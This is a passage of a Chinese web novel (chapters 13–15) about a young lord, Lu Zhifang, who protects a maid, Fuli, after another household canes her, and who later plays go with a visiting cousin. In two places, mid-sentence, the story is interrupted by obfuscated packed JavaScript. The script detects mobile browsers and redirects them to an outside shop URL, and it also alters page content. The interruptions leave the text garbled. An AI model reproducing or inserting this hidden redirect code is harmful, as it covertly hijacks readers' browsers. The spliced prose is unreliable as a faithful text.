里头是一张女子小像,小姑娘柳眉杏眼樱桃唇,盘着单螺小髻,发带飘飘,缀一颗丹珠。白的宣纸,黑的笔触,丹珠一点红艳艳未褪色,很是惹人视线。 那朱色有些黏腻,不是朱砂……更像女子口脂。 陆执方意识到时,将手缩回,微微失神,是了,她能书擅绘,却连一套像样的笔墨颜彩都没有。 木樨声音在门外响起:“爷,高管事来见。” “进。”陆执方将那小像压在书册下。 高扬性子稳重,今日正式变为大管事,面上不见喜色,反而眉间有担忧。 “爷,有一事,我不知当不当报。” “不当报你不还是来了?” 高扬点头,“是淑澜苑的崔姨娘,说缺人使唤,到我这儿指名想把馥梨姑娘要过去。” 陆执方顿时抬头:“你给了?” “我没松口,”高扬心里庆幸自己做对了,“但觉得蹊跷,让照壁留意。照壁说淑澜苑嬷嬷离开后,直接去后罩房,把馥梨姑娘喊走了。” 前院丫鬟调到自己院子,要从高扬这里走。 只借用一时半会儿,就不用打招呼了,哪儿有需要往哪里填。府里再不得宠的姨娘都是半个主子,淑澜苑那位还是得宠的。 高扬觉得借用寻常,指名借用却透着蹊跷。 “过去多久了?” “快有半个时辰了。” 陆执方抬了眉梢,没接话。 高扬不是办砸了事情爱找借口的人,但此刻世子的眼神,让他忍不住解释:“那会儿,爷正在清夏堂给太太问安。”他是快撵着世子前后脚来的静思阁。 与此同时,淑澜苑的外院。 逢掌灯时刻,婢女举着长柄将点好的灯挂在屋檐下,是绘有花草的漂亮六角灯。 一盏,两盏,三盏。 一下,两下,三下。 馥梨端端正正跪着,视线自西向东,慢慢游移,借着看清楚上头所绘的花草种类来分散注意力,不去留意掌心那种火辣辣的疼痛。 粗厚戒尺高高扬起,重重落下。 “啪”又一下,打在她掌心。 她眨了下眼,眼睫出了一层汗,才看清第四盏灯,绘的宽叶紫薇花。 13. 第 13 章 “我们姨娘是良善主子,你痛快些承认就罢了,这细皮嫩肉的,可挨不了多少下。” 淑澜苑的金嬷嬷提醒。 “啪!”戒尺再落下。 馥梨平举的双手颤了颤,目光落到第五盏灯上,掌心充血那种火辣辣的痛感已无法忽视,“金嬷嬷,笔墨纸是上月二十五,未时,我在宴客花园东面的树下捡到的,一同被丢弃的还有一个小书箱和砚台。” 她定定看着她重复道:“墨条捡到时已剩一角,狼毫折断,连书箱都是破的,我没有偷。” 对于一心只想惩罚她的人而言,真相并不重要。 金嬷嬷挥着戒尺打下。 镇国公府奴仆有奴仆的规矩,主子有主子的共识,打骂奴仆的刻薄名声传扬出去并不好听,而实际亦少有发生。做错了事减扣工钱,减少休假,再大的错处还有驱逐出府,顶天了还能报官处置。 实在是眼前的小丫鬟,不知哪里得罪了崔姨娘。 暖阁炭火旺,馥梨一进来伺候,就热得出了汗,在婢女引导下脱了最外层的棉袄。棉袄里搜出来零碎的笔墨纸,墨条一角有商号标记,是陆氏族学购置的,府里郎君们才会用的东西。 于是就有了眼前这么一出。 “我再问一遍,衣袍里夹的墨条是不是偷的?你认了,同崔姨娘认个错,这事就过了。” “金嬷嬷,这些是我捡的。” 小姑娘依旧重复,从最开始的惊慌委屈,变成了一种难以动摇的平静,清莹明亮的杏眸里泪花散去,连愤怒都没有,只有浓重的困惑,仿佛看透了这出闹剧,知道即便搜不出笔墨,也会“搜”出来别的。 那份困惑,在于不知闹剧从何而起。 金嬷嬷也不知。 她只知崔姨娘今晨起来,听闻管事位置换了人,心中就不痛快,连大老爷白日来淑澜苑陪她午膳,都没能让崔姨娘保养得娇媚如初的脸由阴转晴。 小姑娘的手细嫩白皙,眼下只略略泛红,明日起来定然一片青紫。金嬷嬷的戒尺落了十下,掀开屋门后挡风的暖毡,进入温暖如春的屋内。 崔姨娘单手托腮,手指点在小方几上鸡零狗碎的墨条断笔上。她比苗斐年轻了快十岁,举手投足间,依然有闺阁时的婀娜巧态:“打完了?认了没?” “没认,老奴瞧着再打就过了,清夏堂那位不好糊弄。”金嬷嬷适时提醒。 提到苗斐,崔杏杏就来气,她使劲浑身解数讨大老爷欢心,想把人夜夜留住,苗斐不管。 她的淑澜苑出了点什么乱子,哪个婢女嘴碎说了议论主子,就连琇哥儿天冷了想让武师父延迟半时辰开课,苗斐都要管。 不像正妻管姨娘,像老娘管姑娘,规矩忒多! 崔杏杏脸色郁郁,金嬷嬷再追问:“外头那丫鬟是放走还是……”她实在好奇,跟淑澜苑八竿子打不着的丫鬟,“她做了什么错事,惹得姨娘不高兴?” 崔杏杏凝眸睇去,看这个入府几年就跟了自己几年的金嬷嬷,判断她是否真的值得信赖。 当年老管事急病走得毫无预兆,要找人接任时,有好几个人选,旁人都想方设法在大太太面前表现,唯有韩长栋另辟蹊径,走了她的路子。 那会儿陆敬和苗斐关系闹得最僵,而她最是得宠风光。往后韩长栋每做满一年,崔杏杏都能以隐秘的方式,收到一张万兴钱庄的银票。 本来再有小半月,她的小金库就能再进账。 全叫一个小丫鬟打乱了。 “放她回去,叫她别乱说话,否则吃不了兜着走。”崔杏杏红唇开合,到底是没有揭露这关系。 韩长栋在时,此事密不透风,没道理人都走了,还自己揭出来。就连大老爷陆敬,都不敢让苗斐知道,他青睐韩长栋有一半是她吹的枕头风。 崔杏杏看着金嬷嬷掀开了暖毡,少女伶仃的身影缓缓站起,似冻得有些僵了。 “金嬷嬷,那些笔墨,能给回我吗?”那句试探的询问,淑澜苑无人在意,被掀落的软毡隔在了外头。 弦月细细,寒风袭人。 陆执方垂眼看冷风拂窗,将书页簌簌乱翻,须臾,侧头去瞟了一眼滴漏。淑澜苑是他父亲纳的妾的院子,他连路过院门前都鲜少,遑论踏足进去。 只能等。 似乎很漫长,又似乎只是两刻钟。 堂屋的门突然被推开,陆嘉月带着蓝雪在夜色中踏进来。就是祖母来探望,守门小僮都要通报一声,唯有嘉月是例外,可随时出入静思阁和小重楼书房,自多年以前,陆执方便这样允许了。 陆嘉月对上了兄长的眼。 兄长目露关切:“人带出来了?” 她摘下银雪色斗篷的帽子,慢慢摇头。 蓝雪有条不紊地解释:“姑娘带着奴婢赶到淑澜苑时,馥梨已经离去。姑娘不太放心,让奴婢去后罩房一趟。奴婢寻了个由头问人数,陈大娘说丫鬟人是齐的,都回来了准备歇息,再多的奴婢没有打听。” 她是不知道该打听到哪一步才合适。 傍晚,大姑娘正在翻看书局新出的话本子,就有高管事的人来送信,说世子爷让大姑娘想办法去淑澜苑一趟,把叫馥梨的丫鬟带出来。 蓝雪何曾见过静思阁这位爷与丫鬟牵扯不清,她代大姑娘行事,只得谨言慎行。 陆嘉月青葱十指翻飞,对蓝雪比划手势。 蓝雪意会:“世子爷,姑娘有话想单独说。”她说罢退了出去,屋内伺墨的木樨也跟出去。 陆执方猜到了嘉月想问什么。 他递去纸笔,嘉月笔尖落墨——阿兄为何要……一句未写完,听见兄长温声问:“恩孝寺时,阿妹见过她?”陆嘉月执笔的手一顿,点点头,又被新问题绊住:“印象如何?” 她未写完的一问空悬,另起一处——有些佩服。 “为何佩服……因为她愿意告发韩长栋?” 陆执方在亲妹的眸中得到肯定回答,“你院中婢女,只蓝雪得用。要论细心聪慧,她不比蓝雪差,让母亲把她调到你院里……可好?” 陆嘉月明眸睁大,闪过一丝意外,旋即一笔划掉她最初的问题,迟疑着落笔——阿兄喜欢她? 她不止见过馥梨,还见过阿兄在银杏树下同她讲话的姿态,眉目温和安静,侧耳低头,是倾听者的姿态,而非高高在上,发号施令的主子。 喜欢吗? 阿兄喜欢这个叫馥梨的丫鬟吗? 陆嘉月清澈的大眼睛无声凝望。 陆执方静默了片刻,“阿妹先答。” 明明是她先问的呀,陆嘉月秀眉一蹙,细细回忆她见过的馥梨,点了点头,蓝雪在她心里谁也无法替代,但是院里来个馥梨这样的姑娘,她是乐意的。 “那明日,阿妹同母亲提,如此这般说……” 陆执方给出了一个最符合嘉月性格的理由。 在母亲已有察觉的情形下,将她调去别处一事,不该仓促。是今日淑澜苑的例子提醒他,只要她一日还在前院,就可能被随意使唤,乃至于轻慢对待。 陆嘉月听完了他教的说辞。 笔杆子笃笃敲在案头——阿兄回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010344|148125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答,喜欢吗? 陆执方薄薄的眼皮半阖,挽袖提笔,在她的那张纸上徐徐落墨,最先落笔的是一个点。 他平心静气写了两个字,字迹端秀周正。 陆嘉月去看,那二字并非“喜欢”。她愣怔地看阿兄,阿兄眼中有难掩的柔和,不是对她的。 “刚同你说的理由,可记住了?” 陆嘉月一叹,点了点头。 这夜,有人辗转思虑,有人酣然安眠。 馥梨睡醒了,最先想到的是她被崔姨娘扣下的笔墨,尔后才是肿起来的手掌心。 陈大娘觉得她倒霉,“风寒才好些,就挨了罚,别是时运低惹了什么脏东西,问大厨房要点柚子叶吧。”她又想了想,“你这手洗不了衣服,这样,今日先去打理畅和堂,我替你同高管事说说。” 馥梨没有拒绝,请四喜帮她梳了头发就去了。 畅和堂的差事简单,捡捡枯枝落叶,扫扫门庭石阶。她没问厨房要柚子叶,要了一把烧火钳,右手掌裹上纱布,避免掌心频繁摩擦,就能把该收拾的收拾个七七八八。 就是总弯腰去钳地上杂物,有些费劲。 馥梨垂着脑袋,这里捡捡,那里钳钳,忽地视线一动,钳嘴差点儿戳上一双新净的长筒乌靴,靴尖沾了些许浮尘,一点灰白在黑色革面上很显眼。 她及时收住了手,唇边绽出梨涡:“世子爷。” 这问好是真心实意的,陆执方愿意帮她调到大姑娘院子里,她很感激。 陆执方的表情亦有几分意外。 馥梨目光越过他,看向他出来的方向,素来所有屋舍都落锁的畅和堂,东屋门扉半掩,露出半堵书架来,“啊,早知世子来这里,我就先清扫门庭石阶。” 这话叫旁人来说,显得谄媚。 到她嘴里,成了小姑娘自然平淡的嘀嘀咕咕。 陆执方端详她脸色,没瞧出大异样,馥梨今日换了一身藕色的阔袖絮棉对襟袄,不太合身,袖子偏长但颜色总算有几分符合她年纪的鲜亮。 他瞟见她拿着烧火钳的手,在袖子边缘露出一线白纱布的尾巴,“怎又缠了纱布?” “生冻疮,涂了药不能碰水。” 馥梨回答得很随意,仍旧注视着东屋门缝,目光熠熠闪闪,仿佛见到了什么珍宝。 陆执方眸中闪过暗笑,嘉月今日往清夏堂请安,就会提起调动,淑澜苑究竟发生何事,她人既然无事,早晚能问明白。先紧着眼下她关心的这桩。 他随她目光回头,“是少时用的书房,留存一部分旧藏书。”价值高的书册都搬去小重楼了。 “那怎么不锁上?” “迟点照壁来锁。” 昨夜他在母亲那里,指点幼弟的练字成果,想到有一副适合他这个年纪的字帖,锁在畅和堂旧书房。 高扬知道他要来,提前让照壁拆了锁。 他话落,少女的眼神就动了动,她想进去看。 不止想进去看,还想他快些走,不愿浪费一时一刻探索旧书房的光阴。馥梨灵眸顾盼,攥着烧火钳的手不自觉挥了挥,“婢子待会儿要洒水清扫,若弄脏世子衣袍可不好。这身银地金锦澜袍一看就很贵。” 呵,还敢撵他了。 陆执方面上不动:“说得是,那我入东屋避避。” 馥梨呆滞一瞬,如意算盘落空。陆执方欣赏够了那表情,“旧书房也久无人收拾了,你先来整理。” 没等她回答,他率先迈步往旧书房去。 不过两息,身后响起了欢快跟上的小碎步。 14. 第 14 章 说是少时旧书房,空间之宽敞,藏书之丰富,给成年的清寒书生用都绰绰有余。书房西面是一堵堵书架,东面明亮靠窗,摆着一套规整的桌椅矮榻。 陆执方挑了个位置坐下:“墙角有拂尘,堆得凌乱的码一码,封皮破损的挑出来。” “婢子晓得。”馥梨脆生生应了,裙摆旋入柜后。 尽是细碎磨蹭的功夫,够她把感兴趣的书都囫囵翻一翻了。他摊开手中字帖,在敞开窗扉的阳光下,晒去陈旧纸页的幽微腐气。 书柜格子里若隐若现一道藕色身影。 起初还有窸窸窣窣的动静,很快就没了声息,他透过一格看去,瞧见她毛茸茸的发顶,今日发髻分外潦草,两边高低都不对称。 馥梨没看一会,把《兰草图谱》放回原位。 右手缠纱布不便,左手不够灵活,她浅尝辄止,不敢在陆执方面前太过放肆,悄悄记下感兴趣的书的名字,想等下次旬休出府了去书局光明正大地看。 如此走马观花般,参观了好几堵书架。 最里侧的书架不放书。 一行毛笔墨条,一行砚台砚匣,剩余是各种厚薄的宣纸。不少已落了尘,但东西都是好东西,馥梨爱惜地看了又看,轻轻扫去尘埃。 许是在这里耽搁异常地久,久到陆执方来查看。 她一转身,对上了世子有些异样的表情。 “世子爷……走路没声音的?” 陆执方没答,视线收回来,忽而吩咐她:“三行二列放的熟宣纸,取一叠十张出来,仔细别折了。” 尽是未裁好的熟宣,单手取就一边坠地了。 馥梨不敢怠慢,认真数了十张,双掌伸进去纸缝里,双手慢慢地捧起,“放到哪里?” “东边桌案上,放完回来。” 回来又听他吩咐,分别取了笔、墨、砚。 这些物件虽旧,都还保存完好,馥梨轻手轻脚地没有弄坏东西,陆执方吩咐的声音却愈发地轻,像是有什么在极力克制,压过后露出的情绪少,才显轻。 馥梨挪了最后一趟,“世子爷还要取何物?” 陆执方一口浊气在胸臆,大步越过了她,“这些存太久,已不堪用,你找个地方自行处置。” “这些东西瞧着都挺好的呀。” “是丢是用,都行。” 陆执方走了。 馥梨走到东窗的桌案上再检查,没发现陆执方所谓不堪用的地方,倒是看到窗台上,他特地来畅和堂取的字帖还晾着,忘了拿。 她在案头找到裁纸刀,用不甚灵活的动作,欢欣喜悦的心情,把那叠熟宣纸都裁成了她喜欢的大小。 不再特地花钱再买了。 要凑一套文房四宝可得花不少银钱。 畅和堂院门外,照壁碰见的陆执方面色冷沉,叫他想问候都话音打颤,“世、世子爷……” 他听高管事的吩咐,来给旧书房上锁,不过晚了半刻钟,不至于惹得世子这般不悦吧? 可世子爷只大步流星去,留下一句话:“别进畅和堂,今日先别锁。” “啊?好好,小的明白。” 照壁瞎转悠那把铜锁的手一顿。 陆执方去了清夏堂。 院门处的婢女远远瞧见,手扣在腰上,朝陆执方恭恭敬敬一福身,“世子,大姑娘正在同太太问安,容奴婢先去传报一声。” 陆执方颔首,下意识瞥了一眼。 母亲喜欢将自己打扮得漂亮,连同身边用的婢女嬷嬷都喜欢选姿容好的。那婢女润白无暇的一双手,同旧书房里少女触目惊心的掌心,对比得更刺目。 淑澜苑的人,怎么敢? 被打了藏着掖着,还糊弄他说是冻疮? 知道找母亲告发韩长栋,不知道找他告状吗? 旧书房里,每腾起来一个冒火念头,脑海里都有另一道声音似泼水降温,以全然旁观者的理智回答。 淑澜苑是主,她是仆,如何不敢? 不找借口遮掩,难道要哭诉? 她不会告状,她知道自己没有立场。 她只是个丫鬟。 清夏堂的婢女从门内转出,请他入内。 母亲与陆嘉月在围炉煮茶,蓝雪跪坐在一旁,正夹起一只刚刚烤好的橘子,拨到嘉月那边。 几人其乐融融,笑意都挂在嘴边,将目光看向了他。苗斐率先点了点对座,“来,坐下喝茶。” 陆执方问过安,撩袍跪坐下去。 小陶炉旁,一张素簪写满了字,半月沉江、金丝芋球、糖醋菊花……尽是素馔的名字。 祖母惯了每年正月茹素静修,为家里祈福,大房二房都会各派一人陪着,多数是府里的姑娘们或没有正职的小郎君,有时也是母亲和二婶这些儿媳妇。 陆执方看着那张素簪,静了几息,听见自己语气平淡得接近寻常:“母亲打算新年陪祖母静修?” “去年叫你们这些小辈去,你祖母说小年轻心不定,人规规矩矩坐着,眼神都是浮起来的。我正好秋冬补得多了,陪她老人家吃斋消消腻。” 苗斐抚了抚腰间,大厨房招了个擅做秋冬药膳的厨娘,补着补着,眼见着腰身都粗了几分。 陆执方长眉微蹙,似乎不赞同。 “有何不妥?” “管事之位才交接,高扬处理府务,定然有多处要母亲把关的地方,母亲两头忙碌,如何兼顾?” “这过去半月,高扬管得挺好的啊?” “眼看腊月接正月,年关事多,不比往常。” 陆执方说的,苗斐也思虑过,想来大不了老夫人和管事房两处多点走动,“年尾年初是事情多,可是你祖母说了不要小辈去,我能有什么法子。” 陆执方定定看她,“二婶也去?” “你二婶身体不好,隔三差五就要请郎中的人,不适合长期茹素,二房秦姨娘去。”苗斐话音一顿,忽而微妙起来,“你的意思是,让崔姨娘去?” 陆执方不置可否。 苗斐不知想到什么,哼笑一声,“你公务忙,没让你去陪过,是不知道。你祖母静修不是吃吃斋而已,早功课、午诵经、晚静坐,崔姨娘那性子……” 她就不说了。 比府里年轻姑娘还坐不住,还仗着身段窈窕吃不胖,一日三餐都爱油荤重的,为了给淑澜苑开小厨房的事情还磨了陆敬许久。 静修于崔杏杏,怕是等同于坐牢,还要记挂陆敬会不会房中寂寞,又添新人,这对一个妾来说,才是最恐怖的事。不过……换人的事情也有道理。 年关杂事多,最是不能出错。 “她小门小户没规矩,万一惹得你祖母不高兴?秦姨娘是个老实本分的,没她那么多坏毛病。” “祖母年纪虽大,宝刀未老。” 陆执方拿起一个温热橘子,慢条斯理将橘皮剥成五瓣花,只留一团橘肉在中央,递给了母亲。 苗斐神情一动,眉头松开,已然被他说动。 小陶炉茶水沸腾,蓝雪提走水壶,灭了炭火。 陆执方来时那股无名邪火,跟着熄了七分,静下来后,不由一嘲。他何曾这般迂回插手过内宅事,就为……就为一口气,不知是为自己还是为她的气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027638|148125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苗斐没察觉他的心思,接过橘子吃了,心情好了几分。嘉月今日来,除了问安,还有一事。 想把那个叫馥梨的丫鬟调入院里,原因是韩长栋摸到丫鬟后罩房的消息不知如何在府里传开了,嘉月不忍心让这小丫鬟面对非议,想收到自己院子里。 女儿是个心软的,因为哑疾,早几年去城里贵女的郊游宴乐,总被悄悄议论,对这等境况感同身受很正常。但苗斐觉得,馥梨这个名字,近来好似总出现在她耳边,大大小小的事总有那么一两桩同她有关。 女儿拉起她的袖子,撒娇地晃了晃。 苗斐拍了拍她的手:“我正想点头呢,这不是被你阿兄进来打岔了。那丫鬟就调到你院里。不过,她在前院做粗活儿,到你身边贴身伺候,娘不放心。先到清夏堂来,让嬷嬷教她几日姑娘院里怎么当差。” 陆嘉月愣怔,没料到是这个回答。 她登时想转头去看阿兄,又忍住,转而看蓝雪,蓝雪便道:“姑娘想问太太,几日具体是几日?” “人到我院里,无论几日都没人敢乱嚼舌根,放心。”苗斐不答,“我有事要和你阿兄说,嘉月先回。” “……”陆嘉月眼巴巴地,看看母亲又看看阿兄,到底是带着蓝雪走了。 清夏堂的屋里,转眼只剩下母子俩。 “母亲还有何事?”陆执方问。 苗斐拿帕子擦去手上溅的橘子汁水,“你手头上的案子什么时候忙完?这阵子不需要出公差吧?” “如无意外,能待在家里过年。” “那就成,你二婶家有个表姑娘来住一阵,已来一两日了,今夜到翡翠堂去用膳,跟你们兄弟姐妹见一见认认脸。戚姑娘是宝陵有名的才女,琴棋书画都一绝,你哪天休沐得空了,同她切磋切磋。” 苗斐没错过儿子脸上微妙的神色。 这小子不喜欢什么,惯常要找理由拒绝时,就是这表情。她将帕子叠在桌上,先扣一顶大帽子堵住那能言善辩的嘴:“不想去?看不起女儿家的才情?觉得人家不配跟你这个宣德十二年的探花郎切磋?” “……”陆执方难得无言以对。 “好不好的,你先见一见。” 苗斐继续道:“你自己也说,腊月接正月,高扬刚坐正位置,我得把关。可这头来个表姑娘做客,那头嘉月要我调人。你当尽地主之谊,替母亲分担。” 苗斐寸步不让地看着他。 陆执方身在官场,读过很多言外之意,无论对方说得多隐晦。何况这一次,母亲的意思很清楚——他何时同这位表姑娘接触,馥梨便何时调入嘉月院里。 酉时,畅和堂六角窗外,乌金西坠,余霞散绮。 少女枕臂伏案,酣然沉眠,浑然不觉早晨离去的旧书房主人去而复返,缓步来到了身侧。 原本齐整的桌案零零碎碎摆了好些杂物,有两本书、半个吃剩的白面馒头、拆下来蜷缩成一团的白纱布、一张画完了,还没来得及折成纸蜻蜓的小画。 画的是现在开始属于她的文房四宝。 因为手伤的缘故,笔触不复往日精巧细腻,斜衡歪扭,反而有一股天然稚趣。旁边提了一句并不工整的打油诗:“千金散尽还复来,笔墨纸砚从天降!” 降字后头,还绘了一朵俏皮稚嫩的小花。 他失笑,垂眼又见小姑娘掌心那青紫一片。 她没有同他告状的立场,她只是个小丫鬟。 但是,是他陆执方想看到她过得更好的丫鬟。她的十指骨肉匀称,纤细灵巧,合该只舞文弄墨。 阿妹那张涂涂画画的纸上,落的二字是怜惜。 15. 第 15 章 戚幼晴住在镇国公府二太太戚文宣的院里。 她父亲被调派到边陲重镇,母亲眼看她快到出阁年纪,不忍心她跟到边陲过苦日子,思来想去,写信给堂姐戚文宣,托她照顾自己一阵子。 言下之意,是帮忙寻一门京中婚事。 真能找到家世相当、品貌俱佳的郎君就好了。 戚幼晴千里昭昭来投奔,是存了希冀的,没想到姨母为她留意的郎君,远远超过了期望。 “姨母,二公子当真邀我对弈?”她说不出太直白露骨的话来,含糊道:“总感觉差距是不是大了些?” 戚家虽不富裕,在宝陵老家,要论清白官声与家学渊源,是能挺直腰板的,但要与陆家相提并论,底气就不足了。 “大太太都没说话,你别自己先露怯。” 戚文宣拿出了给戚幼晴新打的首饰,一支漂亮的芙蓉花步摇,插在她发髻上,“世子眼光高,拖拖拉拉到二十好几还未成家,我这位嫂嫂急着呢。难得见你觉得合眼缘,你得替自己争取。” 戚幼晴点头,镜中神情仍有犹豫。 前几日,在翡翠堂接风宴上,她一一见过了陆家兄弟姐妹。陆执方无疑是年轻一辈最耀眼的,无论是姿容还是才识,可即便待人接物再周到,骨子里仍是骄矜。她一眼就觉陆执方性子冷,难捂热。 戚文宣安抚她:“宝陵无人不知你才名,我看皇都贵女没几个能及你。二公子要只想娶钟鸣鼎食之家的妻子,早成婚了,哪能到现在?你只管好好表现。” 戚幼晴自知姨母是在哄自己,听得赧然,又生出希冀来,定了定心神,同屋门处等候的婢女走了。 镇国公府占地极广,后宅园林错落,景致幽深。 她来住了好一阵,都未完全熟悉,带着自家婢女,也还是要靠姨母院里的采萍给她们领路。 路过了不知哪处院落,隔墙听见女郎在院中尖声叫喊:“我不要去!她安得什么心,就是想折磨我,我不要静修……”后半句戛然而止,被更苍老的声音劝阻了,“姨娘!才刚到院里……进屋去说。” 戚幼晴怕听到什么不该听的。 采萍恍若未闻,只加快了脚步,将她领到观鱼池外。“戚姑娘顺着游廊往里走,就能看到亭子。四丈外有我们太太派的嬷嬷,随时听候姑娘差遣。” 这嬷嬷,戚幼晴知道是姨母给自己安心的。 世子人品贵重,自然不会逾矩。 采萍一福身,退开了。 戚幼晴同自己的婢女确认妆容裙裳都无可挑剔后,徐徐步入廊下。 亭中已经有人。 不是陆执方,是安安静静的大姑娘陆嘉月。 圆桌上棋盘摆好,两个棋篓子里,黑白棋子都用玉石雕琢而成,莹润生辉。 陆嘉月将黑棋篓子推给她,蓝雪解释道:“世子临时有公务,在书房处理,让大姑娘先来陪陪戚姑娘。戚姑娘若觉得无聊,可以先下几盘。” 戚幼晴没有推托,陆嘉月棋艺平平,一局罢了。 “大姑娘说,戚姑娘棋艺了得,很厉害。” “占了先手而已。” “久等。” 泠然如敲玉的声线,透过竹帘缝隙传进来。 戚幼晴转头,见一只属于男子的手拨开了毡帘,陆执方着一身绣银月白圆领袍,罩着青色披风,迈步进来,定睛往还未收拾的棋局上看去,胜负已分明。 ——阿兄。 陆嘉月弯眼,给他让出了座位。 蓝雪来重新归置黑白双子,戚幼晴上局执先落子的黑棋,这一局理应执白。她正待调换二人手边黑白棋篓的位置,叫陆执方止住。 “戚姑娘执黑。” 世子同样让她先手。 戚幼晴唇动了动,想说些什么,对面如冷玉般的青年郎君却无心寒暄,径直做了一个请的手势。 陆嘉月让了位,就要走。 陆执方道:“嘉月,帮阿兄数子。” 戚幼晴一愣,大姑娘口不能言,数子判了胜负,还不是要蓝雪再来转达。加上她的婢女,亭子内热闹得打叶子牌都绰绰有余。 想她在宝陵名声斐然,多少人打着风雅的幌子来示好相交,邀她对弈,竟就真的是对弈。 她当即打起精神,要胜陆执方一回。 戚幼晴闷不吭声地落子,忽而嗅到茶酥的味道。 余光里一截淡淡的烟紫色衣袖,将点心碟子摆好,新声音响起来:“大太太让婢子送些茶点过来。” 嗬!犹然不够热闹,亭内又来了一人。 她从棋局中抬头望去。 新来的婢女着烟紫对襟小袄,套杏白单幅绣裙,生得肤白唇红,最妙是一双湿润的杏眼,有种宁静的欢悦。小婢女收了托盘,规规矩矩立在一旁看。 戚幼晴困惑了片刻。 她同陆执方接触,姨母说大太太是乐于促成的,按理说婢女没有得命令,不会留下来碍眼。她一下子没领会到大太太的用意,只得先专注眼前棋局。 陆执方骨节分明的手拈一颗白棋,落时慢得离谱,“啪”一声脆响,落在一个万万不该大意的地方。 是机会!戚幼晴没有错过。 这一子后,陆执方破绽又出,频频给吃去白子,戚幼晴甚至怀疑堂堂探花郎的棋艺连自家亲妹都比不上。她知道陆执方擅书画,懂断案,想来人无完人,棋艺上有短板,亦是人之常情。 “这局陆某认输。” 下至二分之一,陆执方干脆弃子。 蓝雪与新来的婢女立刻来捡棋子。陆嘉月趁这个空档,招呼她尝尝厨房做的红茶酥。 戚幼晴斯斯文文咬了一口,香而不腻的好味道。 她用绣帕擦了擦唇角,轻声问道:“世子平日里,公务这样忙?便是休沐在家都要急着处理?” 陆执方没答,视线落在两个婢女四只手忙中有序捡拾的棋盘上,胜负已分明,不知还在看什么。 片刻后,人才回神,对她露出歉然神色。 戚幼晴重复了一遍问题。 “大理寺性质特殊,偶有紧急情况报告,像是逃犯何时缉捕到,不会按旬休日来。” 戚幼晴还待再问,黑白棋子已收入棋篓。 陆执方看向了紫衫婢女,“终局后你数子,让蓝雪休息。”蓝雪面上一滞,不敢同戚幼晴的目光对上。 陆执方:“会数吗?” 小婢女摇摇头。 “死子全部清理出盘外,计算黑白各自的子数总和……”他淡声解释起来,似授课先生讲得慢而详细,“任意一方超出这个数,则为胜者。” 小婢女用心记着,“世子爷,何为死子?” 陆执方就着黑白棋,给她演示了一遍,“懂了?” 她点头,唇边小梨涡出现了一瞬。 这一局,陆执方依旧让戚幼晴执黑。 戚幼晴有些犹豫,按说赢了一局,再赢的话,她怕陆执方觉得丢脸,可不赢,又怕他看轻了自己。 她中规中矩地开局,打算再观察陆执方的棋艺,半个时辰后,狼狈得再分不出心神。瞧着冷然端方的君子,棋风凌厉狠辣,一步步侵占地盘与进攻都毫不迟疑,且落子极快。 戚幼晴渐渐乱了阵脚,只能防守,一次比一次落得更慢,再勉力支撑了一刻钟,弃了棋子。 小婢女来数子,碎碎念数到一半。 陆执方敲敲手边的茶瓯。 她拧拧眉头,记着数,去提茶壶给他倒茶,再倒回去数又怕出错,只好重新数过一遍,确认无误后,慢慢报了黑白棋子数出来的数目,“世子爷胜。” 陆执方眉梢抬了抬,“下局还是你数。” 戚幼晴不用数,也知自己输了,不过想知道输了多少。她性子里那股子执拗劲被激起了,待黑白棋子归置好,将黑棋篓推过去,“再来。” 新的一局,输得更惨烈。 陆执方像个敏锐的猎手,任何掉以轻心的瞬间,都会成为棋局上致命的弱点。戚幼晴切身体会了那句诗的字面原意,一子错,满盘皆落索。 她看着溃不成军的局面,吁出一口气。 “世子棋高一着,我输得痛快,认了。” 对弈耗时,同兄妹俩三局过去,已近日暮。本想拉近距离,竟真成了切磋较量,怎么可以! “我闻世子书画精湛,不知可有眼福欣赏佳作?” “闻老先生说心不静则手不净,陆某入仕后庸碌奔忙,心躁手浊,已许久没有拿得出手的书画。” 陆执方的婉拒之意很明显。 他起身,拂过衣袍褶皱,是个要离场的姿态。 戚幼晴看向婢女香梨一同带来的卷轴筒。 这样好的机会在眼前,她没有被拒绝的失落,只有对自己这些年努力的惋惜。她自幼勤勉学习琴棋书画,除喜欢之外,还因深谙才女名声是亲事的筹码。 不过女子才情,有人喜欢,有人厌恶。 戚幼晴还是想再试一试。 “我有一画作想为家中长辈作寿,已数次修改重画,但是每次自赏总觉得有不对之处,却无从下笔,因为迟迟未能拿去装裱。” 她示意婢女将卷轴筒打开,取出画卷,“世子与大姑娘能不能帮我看看?若二位都说好,我便放心了。” 理由冠冕堂皇,问得亦巧妙。 谁拒绝,倒成了不愿成全她这一片孝心。 陆执方素来喜欢点到为止,心中一哂,要说好,少不了有 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馥梨才一开口,便觉失言。她已经被调去清夏堂跟着方嬷嬷学做事好几日了,这种场合不该开口。可戚姑娘的画画得太好,她跟着观赏入了神。 戚幼晴皱了皱眉:“何意?” 馥梨看了看她,又去看陆执方,对方微微颔首。 “戚姑娘已画得很好了。但那橘衣小童看身形,是烫练五人里年纪最小的。小孩儿的眼耳口鼻,神态形貌,每一岁都有细微差别。若不留意就会画成身小而貌老的怪模样,或是把女童画出女郎熟态。” 她如此细细解释一番。 戚幼晴还未说话,香梨听到了“怪模样”三个字就不高兴起来。都是做下人的,怎能这么说她家姑娘。 